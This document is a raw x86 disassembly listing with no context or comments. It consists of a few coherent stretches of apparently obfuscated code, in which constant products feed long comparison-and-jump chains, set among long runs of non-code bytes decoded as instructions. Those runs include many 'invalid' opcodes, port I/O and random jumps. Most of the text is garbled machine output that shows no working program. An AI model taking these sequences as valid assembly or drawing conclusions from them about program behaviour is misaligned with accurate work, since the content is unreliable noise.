xchg edx, eax
salc
mov ebx, 0xbbbb28fb
invalid
fadd st(1), st(0)
or byte [edx + edi*2 - 0x16dda2d1], cl
or al, 0x6a
int 0x68
xchg esp, eax
fisubr dword [edx]
jmp 0x6e151251
das
inc edx
pop ebp
cld
invalid
jp 0x6e1540c0
invalid
inc ebx
invalid
nop
jmp 0x6e15581a
nop
lea eax, [ebp - 0x30a]
mov dword [esp], eax
call fcn.6dd6817f
sub esp, 4
lea edx, [ebp - 0x33c]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.6dc665ce
sub esp, 8
mov dword [0x6e93d004], eax
mov dword [ebp - 0x2b0], 0x1459c
mov dword [ebp - 0x2ac], 0
mov dword [ebp - 0x2b8], 0x1b117
mov dword [ebp - 0x2b4], 0
mov eax, dword [ebp - 0x2ac]
imul eax, dword [ebp - 0x2b8]
mov edx, eax
mov eax, dword [ebp - 0x2b4]
imul eax, dword [ebp - 0x2b0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x2b0]
mul dword [ebp - 0x2b8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], edx
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], edx
mov eax, dword [ebp - 0x2c0]
xor eax, 0x26da1d04
mov edx, dword [ebp - 0x2bc]
xor edx, 2
or eax, edx
je 0x6e173212
mov edx, 0x26da1d04
mov eax, 2
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0xe1b6e
or eax, dword [ebp - 0x2bc]
je 0x6e15a31d
mov edx, 0xe1b6e
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0xe0016
or eax, dword [ebp - 0x2bc]
je 0x6e16bcbd
mov edx, 0xe0016
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0xdd00a
or eax, dword [ebp - 0x2bc]
je 0x6e155cb5
mov edx, 0xdd00a
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0xd31c6
or eax, dword [ebp - 0x2bc]
je 0x6e162fed
mov edx, 0xd31c6
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0xca510
or eax, dword [ebp - 0x2bc]
je 0x6e161875
mov edx, 0xca510
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0xc4b61
or eax, dword [ebp - 0x2bc]
je 0x6e165edd
mov edx, 0xc4b61
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0xc01b9
or eax, dword [ebp - 0x2bc]
je 0x6e16a545
mov edx, 0xc01b9
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0xb4248
or eax, dword [ebp - 0x2bc]
je 0x6e15742d
mov edx, 0xb4248
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0x80403
or eax, dword [ebp - 0x2bc]
je 0x6e158ba5
mov edx, 0x80403
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0x67a37
or eax, dword [ebp - 0x2bc]
je 0x6e167655
mov edx, 0x67a37
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0x54632
or eax, dword [ebp - 0x2bc]
je 0x6e168dcd
mov edx, 0x54632
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0x4112e
or eax, dword [ebp - 0x2bc]
je 0x6e1600fd
mov edx, 0x4112e
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0x40dd8
or eax, dword [ebp - 0x2bc]
je 0x6e15e985
mov edx, 0x40dd8
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0x402aa
or eax, dword [ebp - 0x2bc]
je 0x6e15d20d
mov edx, 0x402aa
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0x3e223
or eax, dword [ebp - 0x2bc]
je 0x6e170325
mov edx, 0x3e223
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0x3647c
or eax, dword [ebp - 0x2bc]
je 0x6e164765
mov edx, 0x3647c
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0x14eb9
or eax, dword [ebp - 0x2bc]
je 0x6e171a9d
mov edx, 0x14eb9
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0x12283
or eax, dword [ebp - 0x2bc]
je 0x6e16d435
mov edx, 0x12283
mov eax, 0
cmp edx, dword [ebp - 0x2c0]
sbb eax, dword [ebp - 0x2bc]
jl 0x6e173215
mov eax, dword [ebp - 0x2c0]
xor eax, 0x4119
or eax, dword [ebp - 0x2bc]
je 0x6e15ba95
mov eax, dword [ebp - 0x2c0]
xor eax, 0x8943
or eax, dword [ebp - 0x2bc]
je 0x6e16ebad
jmp 0x6e173215
inc ebp
out 0x80, eax
imul esi, dword [edx - 0x69f1d0f3], 0xffffff9f
cmp cl, byte [ecx - 0x6702607b]
popal
and al, 0xad
insb byte es:[edi], dx
lea ebx, [ebx + 0x4ae7b6b7]
mov dword [0xf787f45d], eax
xchg esp, eax
rcl dword [edi - 0x67], cl
xchg dl, al
ljmp 0xab0c
pop ebp
adc cl, dh
jae 0x6e1573a4
aam 0xde
adc bh, ch
ficom word [eax]
out dx, eax
insb byte es:[edi], dx
dec eax
cmc
movsb byte es:[edi], byte [esi]
mov ebx, 0x51e2e39a
push 0xaf2ee545
jecxz 0x6e157407
popfd
out 0xc6, al
movsb byte es:[edi], byte [esi]
cmp al, 0x72
pushal
xor al, byte [eax + esi + 0x38]
mov esp, 0xf7d48bef
aas
fadd st(4), st(0)
dec ebp
les esp, [ebp + 0x4d]
mov al, 0xb9
out dx, eax
sub ebx, dword [esi]
enter 0xfffffffffffff19f, 0xffffffffffffffd5
dec esi
xor ebx, dword [ecx - 0x2df42edf]
rol byte [eax + 0xa], cl
jge 0x6e15739e
cmp al, 0x95
sbb edx, dword [esi]
inc eax
mov byte [edx + edx*2 + 0x13], bh
mov bl, 0xee
or byte [0x214650d6], 0xc
xlatb
xor dl, cl
xor byte [esi + 0xef11b4c], dh
test byte [edi + 0x20], bh
mov bh, 0x65
xor eax, 0x306dd67b
pushfd
inc esi
sbb ecx, dword [edi + 0x3b]
or esp, dword [0x6145f25e]
pop esi
inc ebp
popal
push 0x48c8bc18
pop esi
jno 0x6e15740e
adc eax, 0x4ddf4a78
push ds
cmp edx, dword [eax]
shr dword [ecx - 0x336f312c], 1
jmp 0x6e173216
jb 0x6e1573ca
in eax, 0x9f
test al, 0x5e
ret
push edx
inc edx
out 0xf6, eax
cli
salc
fdiv st(5), st(0)
fisubr word [ebx - 0xdef5069]
je 0x6e158be1
invalid
test dword [eax], esi
bound eax, qword [ebp + 0x8c6f0cf]
retf 0x3c45
lodsd eax, dword [esi]
das
sbb al, cl
xchg esi, eax
ljmp 0x38da
fild word [ebx + ebp*4 - 0x3b6940a9]
mov eax, dword [0xb9812baa]
cli
xchg esp, eax
wait
invalid
add al, 0x81
salc
wait
xor esp, 0x4218c539
loope 0x6e15b979
sbb byte [ebx], 0xec
sbb byte [ebx], 0xec
invalid
adc eax, dword [esi + 0x1953f363]
cmp edi, dword [esi + esi + 0x2a]
xchg edx, eax
xchg edx, eax
mov fs, ebx
inc edx
not byte [esi - 0x6e]
xchg edx, eax
xor dh, byte [esi]
mov eax, 0xc447102b
push cs
bound esi, qword [eax + 0x41]
inc ebx
invalid
not dword [edi]
enter 0x2635, 0x11
jne 0x6e15baa3
out 0x4a, eax
jne 0x6e15ba21
mov ah, 0x8b
and byte [edi], bl
inc edi
cmc
out 0xcf, eax
push esp
push 0x82dbc2b1
mov ebx, 0xe03e1350
rcr byte [esi], 0x2f
push eax
adc edi, dword [esi]
loopne 0x6e15ba10
push ds
das
mov ebx, 0x71c2c96
pop esp
dec esi
loopne 0x6e15ba2f
aam 0x7b
jno 0x6e15b9ea
jnp 0x6e15bace
invalid
jp 0x6e15b9f7
xor ch, byte [ebp - 0x43]
pop es
jmp 0x6e15badd
push es
pop edx
xor bh, byte [ebx + ebx]
mov ebx, 0x8975c6c4
outsb dx, byte [esi]
xchg edi, eax
and bh, al
loop 0x6e15ba5a
sar byte [ebp - 0x41], cl
push edi
push esi
add cl, ah
jne 0x6e15ba4b
je 0x6e15bac7
sbb dword [eax + 0x72], esi
jo 0x6e15bb18
cmp eax, 0x667d91c7
ret 0x51f3
nop
cmp byte [ebx - 0x52d64365], bl
jmp 0x25949f53
or byte [edx + 0x36], al
adc al, 0x2d
push edi
or ah, bl
retf 0x31e0
pop edi
clc
add cl, 0x21
inc ebx
sub dword [esi], eax
sbb dword gs:[esi - 0xa], esi
xor dl, byte [ecx]
cmp byte [edi + 0x66f2289c], ch
mov esp, 0xf2688a2e
xor dword [ebp + 0x2b], eax
dec eax
sbb al, 0xd1
xor esi, 0xfffffff3
and dl, byte [esi - 0x4c]
mov ch, 0x43
xor al, 0xaf
pop esp
mov ebp, 0xbe8009e3
xor byte [edi], bl
xor al, 7
dec edi
daa
pop ds
xchg edi, eax
stosb byte es:[edi], al
xchg edx, eax
outsd dx, dword [esi]
mov ebx, 0xb05b947f
sub cl, bl
cmpsd dword [esi], dword es:[edi]
jg 0x6e15bb8c
pop ds
dec ecx
adc al, 0xbb
nop
int3
push ebx
sbb ch, bl
push cs
dec eax
scasd eax, dword es:[edi]
pop es
cmp ch, byte ds:[ecx + 0x2f]
cmp dword [ebx - 0x2e], eax
cmp dl, dl
dec edx
jns 0x6e15bbd8
and al, 0x95
push ebp
mov edi, dword [esi + 8]
sti
and byte [ebp + 0xbf108e6], bh
mov ch, byte [edi + 0x286a7265]
and eax, 0x638965f2
jmp 0x940f1c1e
mov byte [0x93655dd4], al
sbb ch, byte [ecx + 0x41d511b8]
enter 0xffffffffffff81af, 0x1f
xchg ebx, eax
inc esp
test al, 0x89
inc ebp
mov bl, ch
inc edi
mov edi, 0xd96ce685
mov eax, dword [0xf8cf4ab3]
inc ebp
push cs
xchg byte [edx + esi + 0xb], ch
mov gs, ebp
outsb dx, byte [esi]
mov dh, al
dec edx
loop 0x6e15bc82
test dword [ecx - 0x32], 0x2c25ab16
rcr dword [ecx], cl
pop esp
fsubr qword [esi + 0x601c57f7]
push ebp
dec ebx
pop eax
nop
dec edi
push ds
mov dh, 0xaa
xchg esi, eax
scasb al, byte es:[edi]
add esi, dword [eax - 0x2be84b7b]
mov dword [edx - 0x76fc8208], edi
pop ebx
push ds
nop
int3
test dword [ecx - 0x8d38a9b], esp
invalid
invalid
cmp byte [eax + 0x3f], 0xb7
out dx, eax
popfd
jmp 0x6e15ea08
leave
outsb dx, byte [esi]
daa
fidivr word [edx + 0x322f2a17]
adc eax, 0x9dc55be1
das
xor dl, byte [0x9dc55be1]
sub al, byte [ebx - 0x644d690a]
sar dword [edi - 0x75], 1
dec ebx
popfd
push es
adc esi, esi
daa
push edx
push esp
push edi
xchg ebp, eax
dec ebx
xor eax, 0x4db2ebdf
popal
loope 0x6e15ea01
mov esi, 0xc3940ef7
add ecx, dword [ebx + 0x68]
mov ebx, 0xc90fafb3
adc esp, ecx
into
mov al, 0x90
invalid
ret
mov al, 0x16
out 0x57, al
push esp
leave
mov edi, 0x9067b854
int3
fld qword [esi + edx - 0x58]
lcall 0x4083, 0x79061460
fbstp tbyte [0xde3f5a6]
adc esi, dword [ebx - 0x6f]
inc esp
push edi
jno 0x6e161827
out dx, eax
lea ecx, [ebp + 0x7ef28567]
popfd
lea esp, [edi - 0x7b]
bnd jle 0x6e161795
add eax, 0xbb020921
xchg bl, al
pop ss
xor dword [ecx], esp
sbb eax, 0x2f3dd00b
inc eax
xchg ebp, eax
jg 0x6e16180b
add dh, bl
fld xword [esi + 0x2f]
jg 0x6e1617f2
invalid
int 0x1c
in eax, 0xcb
jg 0x6e161833
or eax, 0x2f1360ac
mov ecx, 0x39c73dd0
mov bl, 0x3d
invalid
and dword [edx + 0x11], esp
cdq
xchg byte [eax + 0x51], dh
js 0x6e161845
and dword [ecx], edx
movsd dword es:[edi], dword [esi]
add al, ch
cmp byte [0xbe663e0b], dh
ret
out 0x86, eax
adc dh, byte ds:[ecx]
adc dh, byte [ecx]
jmp 0x6e1617d8
mov esp, dword [edx + ecx]
test dword [eax + 0x1d], edx
sar byte [edx + 0x239d2e6], 0xec
shl dword [edx + ebp*8 + 0x2282d905], 1
test al, 0xfe
and byte [ecx + 0xbe62583], dl
js 0x6e16180a
imul ebx, dword [ebx - 0x336fabe6], 0x119a1e9
add byte [ebp + 0x12], al
int3
inc ebp
adc cl, ah
mov bl, 0x4d
cwde
dec esi
xchg ebp, eax
rcr dword [ebp - 0x11], 0x30
mov ebx, 0xa63fe6e9
jne 0x6e1618fb
loope 0x6e16184c
mov dh, 0xf
xchg dword [ebp + 0x545afee6], esp
jl 0x6e1618c1
dec edi
inc esi
jl 0x6e161848
jmp 0x21477557
xchg esp, eax
cmp al, dh
out dx, al
dec ebp
mov ah, 0xee
invalid
mov cl, 0x41
xchg ecx, eax
adc eax, 0xdae30e82
push cs
cmovge esp, ecx
clc
mov dl, byte [esi - 0x44]
add edi, ecx
imul ebx, dword [esi], 0xffffff8b
stosd dword es:[edi], eax
jg 0x6e1618e3
jle 0x6e1618ae
sub ah, byte [ecx - 0x5d4744dc]
inc ebx
lodsb al, byte [esi]
sahf
and eax, 0x23aeb18
shr dword [eax + 0x7bdf378b], 0x20
nop
fbld tbyte [0xf8403b1e]
test dword [edi], ebx
invalid
pushal
mov esi, 0xc65f3ff5
push ecx
xor dword [0x2de65c1f], ecx
xor byte [ebp + 0x34], ah
and eax, 0x9db4f0d1
and dword [esi + 0x44], eax
retf 0xc10a
pop ss
sbb bl, byte [esi - 0x279ba4e0]
dec ebp
fidivr word [edi + ebp*4]
adc al, byte [edx - 0x49cab2ca]
push ecx
push ebx
sub dl, byte [eax]
test eax, 0x71a01eda
xor edx, dword [edx - 0x48]
dec ecx
jnp 0x6e162fee
xor cl, byte [ebx + 0x60]
scasd eax, dword es:[edi]
ret
arpl word [ecx - 0x1b], si
lds esi, [eax + 0x73]
retf 0xcd3b
pop ss
out 0xe5, al
fcom qword [ebp - 0x68]
sbb al, 0xc7
adc edx, dword [ecx + ebp*4 - 0x6df4324a]
and al, byte [ebx + 0x3ad327d5]
push edi
fsubr qword [esi]
aad 0x3f
ja 0x6e165f59
cmc
cmp dword es:[edi + 0x6e9f425], 0xf61cc459
and dword [ebp - 0x20], 0xe5ef3fec
cld
sar ecx, 1
dec edi
xchg ebp, eax
xor ecx, dword [ecx]
rcr edx, cl
cmp al, 0xb4
jle 0x6e165f23
mov esp, dword [edi - 0x4c3cb41c]
invalid
push esi
inc esp
jle 0x6e165f9b
mov ecx, 0x8bd67a2
lahf
ljmp 0xba0f
mov ecx, 0xb0e8e38f
int3
mov al, byte [0x81972f04]
and dword [ebp + 0x32], ebp
push edi
fdivr qword [edi + 0x18]
or byte [ecx + 0x12], bl
jecxz 0x6e165fb4
out 0x8d, al
cmp dl, al
xchg esi, eax
call 0x29e3f40a
cwde
outsd dx, dword [esi]
fiadd word [esi - 0x6a]
loop 0x6e165fd8
xchg edx, eax
mov byte [0xde0467d3], al
in eax, 0xb3
jo 0x6e165f37
add eax, 0x18a00fc2
popal
retf 0xeee8
push es
pop eax
push ds
jl 0x6e165fad
xchg edi, eax
test ecx, esp
iretd
xor al, 0xf4
xchg ecx, eax
and eax, 0x57d69533
salc
push edi
sub byte [edx - 0x2e], bl
push ds
loop 0x6e165fba
test eax, 0x5fe09d3c
and dword [esi + ecx*2], esi
ja 0x6e165ff4
fisub dword [edx]
in eax, dx
leave
jp 0x6e166048
popfd
cmpsd dword [esi], dword es:[edi]
push edx
sub eax, 0x6b6b29d9
jle 0x6e165f6a
adc esp, ecx
stosd dword es:[edi], eax
sbb dword [ecx], ebx
sub al, 0x4b
xor dl, ah
punpcklwd mm6, mm3
jp 0x6e165fdf
fist dword [ecx - 0x6b854b5d]
pop ds
xchg ebp, eax
inc edi
mov esi, 0x3325501f
invalid
imul byte [eax]
or ebx, dword [edi + 0x29bb8200]
retf 0xe72b
invalid
lodsd eax, dword [esi]
cmp ebp, ebp
mov esi, 0xc4cddb87
cmpsb byte [esi], byte es:[edi]
outsd dx, dword [esi]
inc edx
and eax, 0x251d3e80
xchg ebp, eax
mov byte [edx - 0x7b6f7733], cl
sub al, 0xed
xchg esi, eax
cmp byte [esi], 0x1d
and eax, 0xcd8a8895
mov byte [eax - 0x6912d37c], dl
rol ebx, 0x50
rcr esi, 0x83
mov bl, 0x2c
dec ebp
je 0x6e168db5
ror byte [edi], 1
retf 0x1861
salc
xor esp, ecx
pop edi
adc byte [edx], ch
clc
dec esp
push ss
jb 0x6e168d87
in eax, dx
push esp
sub byte [edi - 0x29], al
rcl byte [eax - 0x5bb61634], cl
add byte [eax], al
push cs
mov edx, 0x28417bed
cmp al, 0x78
aam 0xd9
jns 0x6e168d94
mov byte [0xe403718d], dh
xor eax, 0xe403718d
cwde
ja 0x6e168dda
outsd dx, dword [esi]
and al, 0x29
sub byte [ebx + 0x7f], dl
sahf
cmc
jae 0x6e168e5f
scasd eax, dword es:[di]
sbb al, 0x2c
retf 0x5639
cli
sbb al, 0x68
add byte [esi - 0x40d7e3fa], 0xe9
ficom word [eax + 0x42]
add al, 0x10
sub al, byte [edx + 0x2cf116fc]
sub bh, cl
xchg ebx, eax
fldcw word [eax + 0x67]
in eax, 0xc7
and byte [edi - 0x38ff010f], dl
push ecx
test byte [edi - 0x1da922d7], dl
xchg edi, eax
lahf
xor byte [0xd4948361], cl
mov eax, dword [0x326d304f]
lodsd eax, dword [esi]
or al, 0xbf
xchg dword [edi - 0x5227dedb], esi
and byte [eax - 0x31cda9cc], dh
test byte [esi], 0x57
repne insb byte es:[edi], dx
out 0x40, eax
popfd
mov al, 0x99
ljmp 0x3615
das
scasb al, byte es:[edi]
cli
push esp
jno 0x6e168df7
salc
sal dl, cl
xor al, 0xaf
and dword [ecx], ebp
xchg ecx, eax
sahf
or dword [ebp - 0x46c8b03a], ebx
in eax, dx
fstp qword [eax + 0x1167541d]
cmp byte [ebx + 0x198da27c], ah
xchg dword [ecx], ebp
sar dword [ecx - 0x12], cl
invalid
test al, 0x38
jo 0x6e16a54f
imul esi, dword [eax], 0x52
push edi
xor ah, byte [ebp + 0x30]
push eax
loop 0x6e16a5b4
xor byte [eax - 0x1e], dl
popal
int 0
push cs
adc al, 0xc1
aam 0x7e
outsd dx, dword [esi]
push edi
xchg ecx, eax
or dword [esi - 0x71ba17b2], esi
ror byte [esi + esi], cl
out 0xc1, al
movsd dword es:[edi], dword [esi]
xor byte [esp + esi*4], 0xc2
frstor dword [ebp + 0x617b9b07]
cmp byte [esi - 0x22], 0xa4
sub eax, dword [0x35622223]
mov edx, 0x8208a0c0
stosd dword es:[edi], eax
ret 0x6574
ret
iretd
mov edi, 0xe130681b
inc esp
sti
mov eax, dword [0x240f554b]
retf 0x6dd6
pshufw mm3, qword [esi + ebx*2], 0x28
adc byte [ecx - 0x64d0171c], al
das
wait
les esi, [edx]
jns 0x6e16ebfb
ror ebx, 1
rcl bl, cl
push edi
jg 0x6e16ebbf
rcl dword [edi + 0x7f], cl
cld
sbb dword [edx], ebx
cmp al, 0x6e
pop ebx
pop dword [ecx + 0x56164445]
sub eax, 0xaba47223
and ebx, dword [edi - 0x412e58f1]
mov edx, 0x540a9899
push esp
inc ebp
add esi, 0xf9db66ea
mov eax, dword ss:[0xb4c9494f]
xchg edi, eax
jo 0x6e16ebb6
mov edi, 0xa43dcdb8
shr byte [edi - 0x5038257], cl
mov bl, 0x13
scasd eax, dword es:[edi]
test eax, 0xb3fafc7d
adc edi, dword [ecx + 6]
jns 0x6e16ec03
cmc
pop ds
bound edi, qword [eax - 0x60]
imul ebp, dword [ebx + 0x5ed71f5], 0x1a
sbb ah, byte [ebx]
mov byte [0xa4690a97], al
stosd dword es:[edi], eax
cmc
jno 0x6e16ebf4
add eax, 0xa2231a1a
xchg edi, eax
or ch, byte [ecx - 0x5c]
test ch, dl
mov al, byte [0x4af8c2df]
inc ecx
and eax, 0x20f674a0
call 0x145e9a26
xchg ebx, eax
mov eax, 0xd294e1e2
stosd dword es:[edi], eax
jae 0x6e16ebdd
or eax, 0x55b58d05
jmp 0x6e16ec9c
stosd dword es:[edi], eax
cpuid
inc ebx
bound eax, qword [edi]
inc esi
mov ebx, 0x3e4b4627
invalid
pushfd
inc ebx
fdiv dword [edi + 0x3a8c8434]
jmp 0x919a314f
lodsb al, byte [esi]
pop ss
cmp ebx, ecx
wait
invalid
f2xm1
aad 0x95
sbb ah, byte [esi + 0x42]
dec edx
xchg esp, eax
dec eax
dec eax
neg dword [edi + ecx*4 - 0x6a8ab278]
mov esp, 0x8d12854f
int 0xb7
and bl, byte [ebx]
scasd eax, dword es:[edi]
inc eax
hlt
add ebx, dword [edi]
xchg edx, eax
sbb edx, dword [0x5545f855]
fistp qword [ecx + esi*2 + 0x1b]
jae 0x6e171a68
jnp 0x6e171a41
mov dword [esi - 0x1648b4c3], edi
mov cl, byte [eax]
sahf
ficomp dword [eax + ebx - 0x43]
xor byte [0x295d0ee], bh
pop ebp
sbb dword [esi], 0xd8f0aeb2
xchg dword [ebx + 0x251ab781], eax
push ebp
sal bl, cl
or ebx, ecx
xlatb
add esp, dword [ecx - 3]
adc dword [edx], esp
xchg edi, eax
and dword [ecx + 0x20a36124], ecx
adc bl, byte [edi + 0x7c07e10d]
dec eax
push 0x6cd4c18
cmp ch, byte [ebx]
scasd eax, dword es:[edi]
wait
aas
adc eax, 0x5a05013f
packsswb mm5, qword [ebx + edx*8]
retf 0x445b
nop
jmp 0x6e173216
nop
lea eax, [ebp - 0x31e]
mov dword [esp], eax
call fcn.6dd6817f
sub esp, 4
lea edx, [ebp - 0x351]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.6dc665ce
sub esp, 8
mov dword [0x6e93d008], eax
mov dword [ebp - 0x2c8], 0x5b466
mov dword [ebp - 0x2c4], 0
mov dword [ebp - 0x2d0], 0x5bc75
mov dword [ebp - 0x2cc], 0
mov eax, dword [ebp - 0x2c4]
imul eax, dword [ebp - 0x2d0]
mov edx, eax
mov eax, dword [ebp - 0x2cc]
imul eax, dword [ebp - 0x2c8]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x2c8]
mul dword [ebp - 0x2d0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], edx
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], edx
mov eax, dword [ebp - 0x2d8]
xor eax, 0xb9145a9e
mov edx, dword [ebp - 0x2d4]
xor edx, 0x20
or eax, edx
je 0x6e17f00a
mov edx, 0xb9145a9e
mov eax, 0x20
cmp edx, dword [ebp - 0x2d8]
sbb eax, dword [ebp - 0x2d4]
jl 0x6e17f00d
mov eax, dword [ebp - 0x2d8]
xor eax, 0xcb54f
or eax, dword [ebp - 0x2d4]
je 0x6e17c11d
mov edx, 0xcb54f
mov eax, 0
cmp edx, dword [ebp - 0x2d8]
sbb eax, dword [ebp - 0x2d4]
jl 0x6e17f00d
mov eax, dword [ebp - 0x2d8]
xor eax, 0xc5c5e
or eax, dword [ebp - 0x2d4]
je 0x6e17344d
mov edx, 0xc5c5e
mov eax, 0
cmp edx, dword [ebp - 0x2d8]
sbb eax, dword [ebp - 0x2d4]
jl 0x6e17f00d
mov eax, dword [ebp - 0x2d8]
xor eax, 0xb5dd8
or eax, dword [ebp - 0x2d4]
je 0x6e17922d
mov edx, 0xb5dd8
mov eax, 0
cmp edx, dword [ebp - 0x2d8]
sbb eax, dword [ebp - 0x2d4]
jl 0x6e17f00d
mov eax, dword [ebp - 0x2d8]
xor eax, 0x8e86a
or eax, dword [ebp - 0x2d4]
je 0x6e17633d
mov edx, 0x8e86a
mov eax, 0
cmp edx, dword [ebp - 0x2d8]
sbb eax, dword [ebp - 0x2d4]
jl 0x6e17f00d
mov eax, dword [ebp - 0x2d8]
xor eax, 0x874b3
or eax, dword [ebp - 0x2d4]
je 0x6e177ab5
mov edx, 0x874b3
mov eax, 0
cmp edx, dword [ebp - 0x2d8]
sbb eax, dword [ebp - 0x2d4]
jl 0x6e17f00d
mov eax, dword [ebp - 0x2d8]
xor eax, 0x7b3e3
or eax, dword [ebp - 0x2d4]
je 0x6e17a9a5
mov edx, 0x7b3e3
mov eax, 0
cmp edx, dword [ebp - 0x2d8]
sbb eax, dword [ebp - 0x2d4]
jl 0x6e17f00d
mov eax, dword [ebp - 0x2d8]
xor eax, 0x28463
or eax, dword [ebp - 0x2d4]
je 0x6e174bc5
test dword [eax], ebp
std
invalid
arpl word [edx + eax + 0x2c850b00], ax
std
invalid
mov eax, dword [ebp - 0x2d8]
xor eax, 0x642f8
or eax, dword [ebp - 0x2d4]
je 0x6e17d895
jmp 0x6e17f00d
jb 0x6e17341b
add edi, edx
stosb byte es:[edi], al
sal dword [ebx], 0xbd
jp 0x6e173421
mov gs, word [edi]
cmp ebp, edi
lcall 0x613b, 0x3712ba85
adc ah, byte [ebx - 0x7087d1b0]
lea eax, [ebx + ecx*2]
jmp 0xc1c36e90
add byte [eax], al
in al, dx
mov eax, eax
leave
cmc
adc cl, byte [ecx - 0x453848d7]
xchg esi, eax
in eax, dx
in eax, 0x98
mov ch, 0xa7
inc ecx
cli
and byte [edi + 0x3231831d], 0x9e
jne 0x6e174c17
daa
lahf
jb 0x6e174c15
xchg byte [ebp + 0x75], cl
int 0x75
out 0xa0, al
sbb dword [ecx + eax*2 + 0x2a], edx
mov ah, 0x62
jbe 0x6e174bc3
invalid
lodsd eax, dword [esi]
scasb al, byte es:[edi]
scasb al, byte es:[edi]
lcall 0xaa4c, 0x17396884
out dx, eax
xor ebp, dword [edx + ebx]
and bh, byte [ebx]
ljmp 0x9926
bound ebp, qword [edi - 0x40a97d3d]
add dword [ecx], ecx
xchg ecx, eax
sub bh, byte [ebp - 0x75]
or al, 0xfa
xchg dword [ecx - 0x1cb92a5b], edx
jbe 0x6e176340
mov dl, 3
insd dword es:[edi], dx
out 0x21, eax
add dh, bh
fdiv st(6), st(0)
invalid
jo 0x6e176306
test dword [edi + 0x6ae2d3f], 0x89dbe072
dec esp
mov dword [0xc720a261], eax
pushal
adc eax, 0x30074954
cmp byte [eax - 0x44], 0xaa
inc edi
bound edx, qword [edi - 0x1b]
fldcw word [esi - 0x477b07e7]
scasd eax, dword es:[edi]
sbb al, 0xa
and eax, 0xc75c7e43
outsd dx, dword [esi]
dec ebp
rcr dword [ebp - 0x1f], 1
sbb ch, byte [esi - 9]
cmp dl, byte [edi + ecx*4 + 0x14ae3295]
dec ecx
mov ecx, 0x8ff291b3
cmp edi, dword ds:[eax]
jle 0x6e1762ab
xchg esp, eax
invalid
das
cmp eax, 0xd9745696
fcomp qword [esp + ebp]
xchg ebp, eax
loope 0x6e176357
cli
movsb byte es:[edi], byte [esi]
ror esp, 0xb5
or al, byte [eax - 0x26292274]
mov dword [esp + edi*8 - 0x5a], esp
xor eax, 0xcc90b407
jmp 0x6e17f00e
mov ch, 0x4d
salc
jmp 0x6e1762cd
mov esi, 0x79f3bbf8
arpl word [ecx + 0x6d668ecb], sp
xlatb
rcl byte [esi + ecx + 0x32]
xchg dword [ecx - 0x72e75e5f], ecx
dec esi
fnsave dword [ebx]
lahf
mov ebp, dword [ecx]
jne 0x6e176375
sub ebx, esp
paddsw mm1, qword [eax - 0x1c]
push ds
out 0x64, eax
xchg dword [esi + 0x343078d], ebp
invalid
out 0xab, al
outsd dx, dword [esi]
mov esi, 0x7ef5a7d1
invalid
mov eax, dword [0x7c79c9d7]
jno 0x6e177a6d
push ebp
adc al, 0xf
sar byte [esi + 0x5b], 1
pushfd
aam 0xcf
inc ecx
int3
mov esp, 0x7957a1cf
add eax, 0xd6588c16
in al, dx
fcmovnu st(0), st(1)
mov bh, byte [esi - 0x37]
pushfd
pop ebx
mov edx, 0xdb559962
